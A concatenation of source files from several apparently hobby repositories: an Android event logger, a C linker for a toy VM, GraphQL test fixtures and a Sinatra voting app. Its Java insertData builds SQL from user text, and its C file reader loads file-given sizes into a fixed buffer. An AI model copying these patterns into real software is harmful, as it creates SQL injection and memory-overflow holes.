+ today.get(today.HOUR_OF_DAY)+ ":"
+ today.get(today.MINUTE) + ":"
+ today.get(today.SECOND);
String location = map.getMyLocation().getLatitude() + "," +
map.getMyLocation().getLongitude();
String event = et_event.getText().toString();
insertData(type,time,location,event);
}
});
bt_resultNum.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(MainActivity.this, ResultNumActivity.class);
startActivity(intent);
}
});
bt_resultMap.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(MainActivity.this, ResultMapActivity.class);
String location = map.getMyLocation().getLatitude() + ","
+ map.getMyLocation().getLongitude();
intent.putExtra("Location",location);
startActivity(intent);
}
});
}
@Override
public void onMyLocationChange(Location location) {
double lat = location.getLatitude();
double lng = location.getLongitude();
Log.e("onMyLocationChange", lat + "," + lng);
map.moveCamera(CameraUpdateFactory.newLatLngZoom(new LatLng(lat,lng),15));
}
// Table 생성
public void createTable() {
try {
String sql = "create table " + tableName + "(id integer primary key autoincrement, " +
"type text, time text, location text, etc text)";
db.execSQL(sql);
} catch (android.database.sqlite.SQLiteException e) {
Log.d("sqlite", "error: " + e);
}
}
// Data 추가
public void insertData(String type, String time, String location, String event) {
String sql = "insert into " + tableName + " values(NULL, '"
+ type + "','" + time + "','" + location + "','" + event + "');";
Toast.makeText(context, type + "/" + time + "/" + location + "/" + event,
Toast.LENGTH_LONG).show();
db.execSQL(sql);
}
}
| 1b4cc88df18e17294f310ec2c4fe6cf95bc6c9a2 | [
"Java"
] | 3 | Java | kthss01/MobileProgramming-Term_Project | 6fb02823f54d9c234869bcdbba1d5dcf6464490c | a1dc374890c70b5a80ce38a8d84ff0eec40d69f3 | |
refs/heads/master | <file_sep>/*
* Нужно переделать списки.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
/*
* Компоновщик
*/
#define DEF_OUT_FILE_NAME "out"
char *fname_output = DEF_OUT_FILE_NAME;
#define FILE_SEG_CODE_NAME "seccode"
#define FILE_SEG_DATA_NAME "secdata"
FILE *f_sec_code;
FILE *f_sec_data;
uint16_t code_off = 0;
uint16_t data_off = 0;
#define MODE_RAW 0
#define MODE_EXE 1
uint8_t link_mode = MODE_RAW;
/*
* Таблица символов
*/
#define LABEL_NAME 32
#define SEC_CODE 0
#define SEC_DATA 1
struct Fixup {
struct Fixup *next;
struct Label *label;
uint8_t sec;
uint16_t off;
uint16_t pos;
uint8_t size;
};
struct Label {
char name[LABEL_NAME];
uint8_t sec;
uint16_t off;
uint16_t pos;
uint8_t def;
struct Label *next;
};
struct Label *lab_hd = NULL;
struct Label *lab_tl = NULL;
struct Fixup *fix_hd = NULL;
struct Fixup *fix_tl = NULL;
struct Label *label_find(char *name) {
struct Label *p = lab_hd;
while (p) {
if (strcmp(p->name, name) == 0)
return p;
p = p->next;
}
return NULL;
}
// Нужно проверять успешность malloc! В ВМ мало памяти!
struct Label *label_new(char *name, uint8_t lb_sec, uint16_t lb_off, uint16_t lb_pos, uint8_t lb_def) {
struct Label *p = malloc(sizeof(struct Label));
p->pos = lb_pos;
p->def = lb_def;
p->sec = lb_sec;
p->off = lb_off;
p->next = NULL;
strcpy(p->name, name);
if (lab_hd == NULL)
lab_hd = p;
if (lab_tl != NULL)
lab_tl->next = p;
lab_tl = p;
return p;
}
struct Label *label_add(char *name, uint8_t lb_sec, uint16_t lb_off, uint16_t lb_pos, uint8_t lb_def) {
struct Label *p = label_find(name);
// коммент
if (p != NULL) {
if (p->def && lb_def) {
printf("Label %s is def!\n", p->name);
return NULL;
}
if (!lb_def) {
printf("USING LABEL %s\n", p->name);
return p;
}
p->sec = lb_sec;
p->off = lb_off;
p->pos = lb_pos;
p->def = lb_def;
#ifdef DEBUG
printf("LABEL DEF:\n\tNAME:%s\n\tPOS:%d\n\tDEF:%d\n\tSEC:%d\n\tOFF:%d\n", p->name, p->pos, p->def, p->sec, p->off);
#endif
return p;
}
struct Label *lab;
lab = label_new(name, lb_sec, lb_off, lb_pos, lb_def);
#ifdef DEBUG
printf("LABEL ADD:\n\tNAME:%s\n\tPOS:%d\n\tDEF:%d\n\tSEC:%d\n\tOFF:%d\n", lab->name, lab->pos, lab->def, lab->sec, lab->off);
#endif
return lab;
}
// Нужно проверять успешность malloc! В ВМ мало памяти!
struct Fixup *label_fixup_new(struct Label *label, uint8_t sec, uint16_t off, uint16_t pos, uint8_t size) {
struct Fixup *p = malloc(sizeof(struct Fixup));
p->next = NULL;
p->label = label;
p->sec = sec;
p->off = off;
p->pos = pos;
p->size = size;
#ifdef DEBUG
printf("TO LABEL %s ADD USE AT POS %d SIZE %d OFF %d SEC %d\n", p->label->name, p->pos, p->size, p->off, p->sec);
#endif
if (fix_hd == NULL)
fix_hd = p;
if (fix_tl)
fix_tl->next = p;
fix_tl = p;
return p;
}
/*
* Считывание файла
*/
#define BUFF_SIZE 512
uint8_t link_read_file(char *file) {
FILE *f = fopen(file, "rb");
if (!f)
return 0;
/*
* Чтение таблицы символов
*/
uint16_t labs_count;
fread(&labs_count, sizeof(uint16_t), 1, f);
#ifdef DEBUG
printf("LABELS COUNT: %d\n", labs_count);
#endif
while (labs_count--) {
uint16_t pos;
uint8_t len, nam[32] = {0}, sec, def;
fread(&len, sizeof(uint8_t), 1, f);
fread(nam, sizeof(uint8_t), len, f);
fread(&pos, sizeof(uint16_t), 1, f);
fread(&sec, sizeof(uint8_t), 1, f);
fread(&def, sizeof(uint8_t), 1, f);
#ifdef DEBUG
printf("LABEL READ: \n\tNAME: %s\n\tPOS: %d\n\tSEC: %d\n\tDEF: %d\n", nam, pos, sec, def);
#endif
struct Label *lab;
if (!(lab = label_add((char *)nam, sec, sec ? data_off : code_off, pos, def))) {
return 0;
}
uint16_t uses;
fread(&uses, sizeof(uint16_t), 1, f);
#ifdef DEBUG
printf("USED: %d\n", uses);
#endif
while (uses--) {
uint16_t pos, off;
uint8_t size, sec;
fread(&pos, sizeof(uint16_t), 1, f);
fread(&size, sizeof(uint8_t), 1, f);
fread(&sec, sizeof(uint8_t), 1, f);
off = sec ? data_off : code_off;
label_fixup_new(lab, sec, off, pos, size);
}
}
/*
* Чтение секции кода
*/
uint16_t code_size;
fread(&code_size, sizeof(uint16_t), 1, f);
#ifdef DEBUG
printf("CODE SECTION SIZE: %d\n", code_size);
#endif
uint8_t buf[BUFF_SIZE];
uint16_t tmp = fread(buf, sizeof(uint8_t), code_size, f); //секции больше BUFF_SIZE будут читаться не полностью
fwrite(buf, tmp, 1, f_sec_code);
code_off += code_size;
/*
* Чтение секции данных
*/
uint16_t data_size;
fread(&data_size, sizeof(uint16_t), 1, f);
#ifdef DEBUG
printf("DATA SECTION SIZE: %d\n", data_size);
#endif
//uint8_t buf[BUFF_SIZE];
tmp = fread(buf, 1, data_size, f); //секции больше BUFF_SIZE будут читаться не полностью
fwrite(buf, tmp, 1, f_sec_data);
data_off += data_size;
fclose(f);
return 1;
}
/*
* Исправление адресов меток в файле
*/
void link_fix() {
uint16_t code_size = ftell(f_sec_code);
//uint16_t data_size = ftell(f_sec_data);
struct Fixup *p = fix_hd;
while (p) {
uint16_t f_real_adr, l_real_adr;
f_real_adr = p->off + p->pos;
l_real_adr = p->label->off + p->label->pos;
if (link_mode == MODE_RAW) {
if (p->sec == SEC_DATA)
f_real_adr += code_size;
if (p->label->sec == SEC_DATA)
l_real_adr += code_size;
}
FILE *trg_sec = p->sec ? f_sec_data : f_sec_code;
fseek(trg_sec, f_real_adr, SEEK_SET);
if (p->size == sizeof(uint8_t)) {
fwrite(&l_real_adr, sizeof(uint8_t), 1, trg_sec);
} else {
fwrite(&l_real_adr, sizeof(uint16_t), 1, trg_sec);
}
#ifdef DEBUG
printf("LABEL %s ADR %d INSERT OT %d\n", p->label->name, l_real_adr, f_real_adr);
#endif
p = p->next;
}
}
/*
* Генерация RAW файла
*/
uint8_t gen_raw() {
FILE *f;
f = fopen(fname_output, "wb");
if (!f)
return 0;
fseek(f_sec_code, 0, SEEK_END);
uint16_t code_size = ftell(f_sec_code);
fseek(f_sec_code, 0, SEEK_SET);
fseek(f_sec_data, 0, SEEK_END);
uint16_t data_size = ftell(f_sec_data);
fseek(f_sec_data, 0, SEEK_SET);
uint8_t *code_buff, *data_buff;
code_buff = malloc(code_size);
data_buff = malloc(data_size);
fread(code_buff, code_size, 1, f_sec_code);
fread(data_buff, data_size, 1, f_sec_data);
fwrite(code_buff, code_size, 1, f);
fwrite(data_buff, data_size, 1, f);
free(code_buff);
free(data_buff);
fclose(f);
return 1;
}
int main(int argc, char *argv[])
{
f_sec_code = fopen(FILE_SEG_CODE_NAME, "wb");
f_sec_data = fopen(FILE_SEG_DATA_NAME, "wb");
if (argc < 2) {
printf("Help:\n\tlink input_file_1 [input_file_2 ...] output_file\n");
return 0;
}
int i;
for(i = 1; i < argc; i++) {
if (!strcmp("-r", argv[i])) {
link_mode = MODE_RAW;
#ifdef DEBUG
printf("RAW MODE\n");
#endif
} else if (!strcmp("-e", argv[i])) {
link_mode = MODE_EXE;
#ifdef DEBUG
printf("EXE MODE\n");
#endif
} else if (!strcmp("-o", argv[i])) {
++i;
if (i < argc && *argv[i] != '-') {
fname_output = argv[i];
} else {
printf("Out file name expected!\n");
return 0;
}
#ifdef DEBUG
printf("OUT FILE %s\n", fname_output);
#endif
} else if (!link_read_file(argv[i])) {
printf("Error in file %s\n", argv[i]);
return 0;
}
}
link_fix();
switch (link_mode) {
case MODE_RAW:
gen_raw();
break;
case MODE_EXE:
//gen_raw();
break;
}
fclose(f_sec_code);
remove(FILE_SEG_CODE_NAME);
fclose(f_sec_data);
remove(FILE_SEG_DATA_NAME);
return 0;
}
<file_sep>CC=cc
FILES=linker.c
default:
$(CC) $(FILES) -o linker
debug:
$(CC) -g -DDEBUG -Werror $(FILES) -o linker
| 500340ad713d15218053517bc91a17084af78530 | [
"C",
"Makefile"
] | 2 | C | Kotolegokot/VM-linker | 45ff05ec11421be7c3fe8a89fad523a81b09d05e | 022291b3945e412617e14315f7ecbbb44e45afe7 | |
refs/heads/master | <file_sep>import { DocumentNode, OperationDefinitionNode } from "graphql";
export const operationQuery: DocumentNode = {
kind: "Document",
definitions: [
{
kind: "OperationDefinition",
operation: "query",
name: { kind: "Name", value: "GetClients" },
variableDefinitions: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "clients" },
arguments: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "FragmentSpread",
name: { kind: "Name", value: "Client" },
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "Field",
alias: { kind: "Name", value: "more" },
name: { kind: "Name", value: "clients" },
arguments: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "FragmentSpread",
name: { kind: "Name", value: "Client" },
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "Field",
name: { kind: "Name", value: "now" },
arguments: [],
directives: [],
},
{
kind: "Field",
alias: { kind: "Name", value: "what" },
name: { kind: "Name", value: "now" },
arguments: [],
directives: [],
},
],
},
},
{
kind: "FragmentDefinition",
name: { kind: "Name", value: "Client" },
typeCondition: {
kind: "NamedType",
name: { kind: "Name", value: "Client" },
},
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "id" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "clientKey" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "name" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "status" },
arguments: [],
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
],
// loc: { start: 0, end: 205 }
};
// 1. resolve fragments
export const expectedFragmentsReduced: OperationDefinitionNode = {
kind: "OperationDefinition",
operation: "query",
name: { kind: "Name", value: "GetClients" },
variableDefinitions: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "clients" },
arguments: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "id" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "clientKey" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "name" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "status" },
arguments: [],
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "Field",
alias: { kind: "Name", value: "more" },
name: { kind: "Name", value: "clients" },
arguments: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "id" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "clientKey" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "name" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "status" },
arguments: [],
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "Field",
name: { kind: "Name", value: "now" },
arguments: [],
directives: [],
},
{
kind: "Field",
alias: { kind: "Name", value: "what" },
name: { kind: "Name", value: "now" },
arguments: [],
directives: [],
},
],
},
};
<file_sep>import { isNone } from "./lib/is-none";
import { ScalarApolloLink, withScalars } from "./lib/link";
import { mapIfArray } from "./lib/map-if-array";
import { FunctionsMap, ParsingFunctionsObject } from "./types/functions-map";
import { NullFunctions } from "./types/null-functions";
export { FunctionsMap, isNone, mapIfArray, NullFunctions, ParsingFunctionsObject, ScalarApolloLink, withScalars };
<file_sep>/* tslint:disable:interface-over-type-literal */
export type NullFunctions = {
serialize(input: any): any | null;
parseValue(raw: any | null): any;
};
<file_sep>import { DocumentNode, OperationDefinitionNode } from "graphql";
export const operationQuery: DocumentNode = {
kind: "Document",
definitions: [
{
kind: "OperationDefinition",
operation: "query",
name: { kind: "Name", value: "GetClientDashboardFocus" },
variableDefinitions: [
{
kind: "VariableDefinition",
variable: {
kind: "Variable",
name: { kind: "Name", value: "clientKey" },
},
type: {
kind: "NonNullType",
type: { kind: "NamedType", name: { kind: "Name", value: "String" } },
},
directives: [],
},
],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "client" },
arguments: [
{
kind: "Argument",
name: { kind: "Name", value: "clientKey" },
value: {
kind: "Variable",
name: { kind: "Name", value: "clientKey" },
},
},
],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "FragmentSpread",
name: { kind: "Name", value: "Client" },
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "Field",
name: { kind: "Name", value: "visibleDashboards" },
arguments: [
{
kind: "Argument",
name: { kind: "Name", value: "clientKey" },
value: {
kind: "Variable",
name: { kind: "Name", value: "clientKey" },
},
},
],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "FragmentSpread",
name: { kind: "Name", value: "DashboardInfo" },
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "Field",
name: { kind: "Name", value: "visibleFocusList" },
arguments: [
{
kind: "Argument",
name: { kind: "Name", value: "clientKey" },
value: {
kind: "Variable",
name: { kind: "Name", value: "clientKey" },
},
},
],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "FragmentSpread",
name: { kind: "Name", value: "Focus" },
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
],
},
},
{
kind: "FragmentDefinition",
name: { kind: "Name", value: "Client" },
typeCondition: {
kind: "NamedType",
name: { kind: "Name", value: "Client" },
},
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "id" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "clientKey" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "name" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "status" },
arguments: [],
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "FragmentDefinition",
name: { kind: "Name", value: "DashboardInfo" },
typeCondition: {
kind: "NamedType",
name: { kind: "Name", value: "Dashboard" },
},
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "id" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "clientKey" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "dashboardKey" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "name" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "visibility" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "description" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "owner" },
arguments: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "FragmentSpread",
name: { kind: "Name", value: "UserProfile" },
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "Field",
name: { kind: "Name", value: "createdBy" },
arguments: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "FragmentSpread",
name: { kind: "Name", value: "UserProfile" },
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "FragmentDefinition",
name: { kind: "Name", value: "UserProfile" },
typeCondition: {
kind: "NamedType",
name: { kind: "Name", value: "UserProfile" },
},
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "id" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "email" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "name" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "nickname" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "picture" },
arguments: [],
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "FragmentDefinition",
name: { kind: "Name", value: "Focus" },
typeCondition: {
kind: "NamedType",
name: { kind: "Name", value: "Focus" },
},
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "id" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "clientKey" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "focusKey" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "name" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "visibility" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "boardKeys" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "peopleIds" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "multiFilters" },
arguments: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "FragmentSpread",
name: { kind: "Name", value: "MultiFilter" },
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "Field",
name: { kind: "Name", value: "boolFilters" },
arguments: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "FragmentSpread",
name: { kind: "Name", value: "BoolFilter" },
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "Field",
name: { kind: "Name", value: "owner" },
arguments: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "FragmentSpread",
name: { kind: "Name", value: "UserProfile" },
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "Field",
name: { kind: "Name", value: "createdBy" },
arguments: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "FragmentSpread",
name: { kind: "Name", value: "UserProfile" },
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "FragmentDefinition",
name: { kind: "Name", value: "MultiFilter" },
typeCondition: {
kind: "NamedType",
name: { kind: "Name", value: "MultiFilter" },
},
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "key" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "values" },
arguments: [],
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "FragmentDefinition",
name: { kind: "Name", value: "BoolFilter" },
typeCondition: {
kind: "NamedType",
name: { kind: "Name", value: "BoolFilter" },
},
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "key" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "value" },
arguments: [],
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
],
// loc: { start: 0, end: 1171 }
};
// 1. resolve fragments
export const expectedFragmentsReduced: OperationDefinitionNode = {
kind: "OperationDefinition",
operation: "query",
name: { kind: "Name", value: "GetClientDashboardFocus" },
variableDefinitions: [
{
kind: "VariableDefinition",
variable: {
kind: "Variable",
name: { kind: "Name", value: "clientKey" },
},
type: {
kind: "NonNullType",
type: { kind: "NamedType", name: { kind: "Name", value: "String" } },
},
directives: [],
},
],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "client" },
arguments: [
{
kind: "Argument",
name: { kind: "Name", value: "clientKey" },
value: {
kind: "Variable",
name: { kind: "Name", value: "clientKey" },
},
},
],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "id" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "clientKey" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "name" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "status" },
arguments: [],
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "Field",
name: { kind: "Name", value: "visibleDashboards" },
arguments: [
{
kind: "Argument",
name: { kind: "Name", value: "clientKey" },
value: {
kind: "Variable",
name: { kind: "Name", value: "clientKey" },
},
},
],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "id" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "clientKey" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "dashboardKey" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "name" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "visibility" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "description" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "owner" },
arguments: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "id" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "email" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "name" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "nickname" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "picture" },
arguments: [],
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "Field",
name: { kind: "Name", value: "createdBy" },
arguments: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "id" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "email" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "name" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "nickname" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "picture" },
arguments: [],
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "Field",
name: { kind: "Name", value: "visibleFocusList" },
arguments: [
{
kind: "Argument",
name: { kind: "Name", value: "clientKey" },
value: {
kind: "Variable",
name: { kind: "Name", value: "clientKey" },
},
},
],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "id" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "clientKey" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "focusKey" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "name" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "visibility" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "boardKeys" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "peopleIds" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "multiFilters" },
arguments: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "key" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "values" },
arguments: [],
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "Field",
name: { kind: "Name", value: "boolFilters" },
arguments: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "key" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "value" },
arguments: [],
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "Field",
name: { kind: "Name", value: "owner" },
arguments: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "id" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "email" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "name" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "nickname" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "picture" },
arguments: [],
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{
kind: "Field",
name: { kind: "Name", value: "createdBy" },
arguments: [],
directives: [],
selectionSet: {
kind: "SelectionSet",
selections: [
{
kind: "Field",
name: { kind: "Name", value: "id" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "email" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "name" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "nickname" },
arguments: [],
directives: [],
},
{
kind: "Field",
name: { kind: "Name", value: "picture" },
arguments: [],
directives: [],
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
{ kind: "Field", name: { kind: "Name", value: "__typename" } },
],
},
},
],
},
};
| a56a31fca4b466110568091c1b9b1b76375d6dd1 | [
"TypeScript"
] | 4 | TypeScript | Alfredo-Delgado/apollo-link-scalars | fd1a3648e7c7b99ddffb86303ba81c2339ae229c | ebda5e0e0f3fc5796aa5b0582c3006c65eddbe97 | |
refs/heads/master | <repo_name>choww/arbitrator<file_sep>/app/models/vote.rb
class Vote < ActiveRecord::Base
belongs_to :user
belongs_to :question
validates :question_id, presence: true
validates :user_id, presence: true
validates :value, presence: true
#validate :no_new_votes_if_expired
## CUSTOM VALIDATIONS ##
def no_new_votes_if_expired
if question && question.expired?
errors.add(:question, "can't be voted on if expired")
end
end
end
<file_sep>/Rakefile
require 'rake'
require "sinatra/activerecord/rake"
require "yaml"
require ::File.expand_path('../config/environment', __FILE__)
Rake::Task["db:create"].clear
Rake::Task["db:drop"].clear
database_config = YAML.load_file(APP_ROOT.join('config', './database.yml'))
desc "create the database"
task "db:create" do
system("psql -U #{database_config['development']['username']} -d postgres -c \"create database arbitrator\"")
end
desc "drop the database"
task "db:drop" do
system('psql -U testuser -d postgres -c "drop database arbitrator"')
end
desc 'Retrieves the current schema version number'
task "db:version" do
puts "Current version: #{ActiveRecord::Migrator.current_version}"
end
<file_sep>/app/app_helper.rb
helpers do
def logged_in?
!session[:id].nil?
end
def current_user
# uid = logged_in? ?
@user = logged_in? ? User.find(session[:id]) : User.new
end
def created?(question)
current_user == question.user
end
def tagged?(question)
if question.tagged_user
current_user.username == question.tagged_user
end
end
def get_user_questions(user,status)
Question.where(user_id: user.id, resolved: status).order(created_at: :desc)
end
def get_tagged_questions(user, status)
Question.where(resolved: status, tagged_user: user.username).order(created_at: :desc)
end
def curr_category
filter = Question.where(category: session[:category])
filter.exists? ? filter : Question.all
end
# where option is 0 or 1
def winner?(question, option)
hi_score = [question.vote_count(0), question.vote_count(1)].max
question.vote_count(option) == hi_score
end
def draw?(question)
question.vote_count(0) == question.vote_count(1)
end
def popular_questions
Question.all.sort {|q1, q2| q2.votes.count <=> q1.votes.count}
end
#def format_time(time)
# local_time = time.getlocal
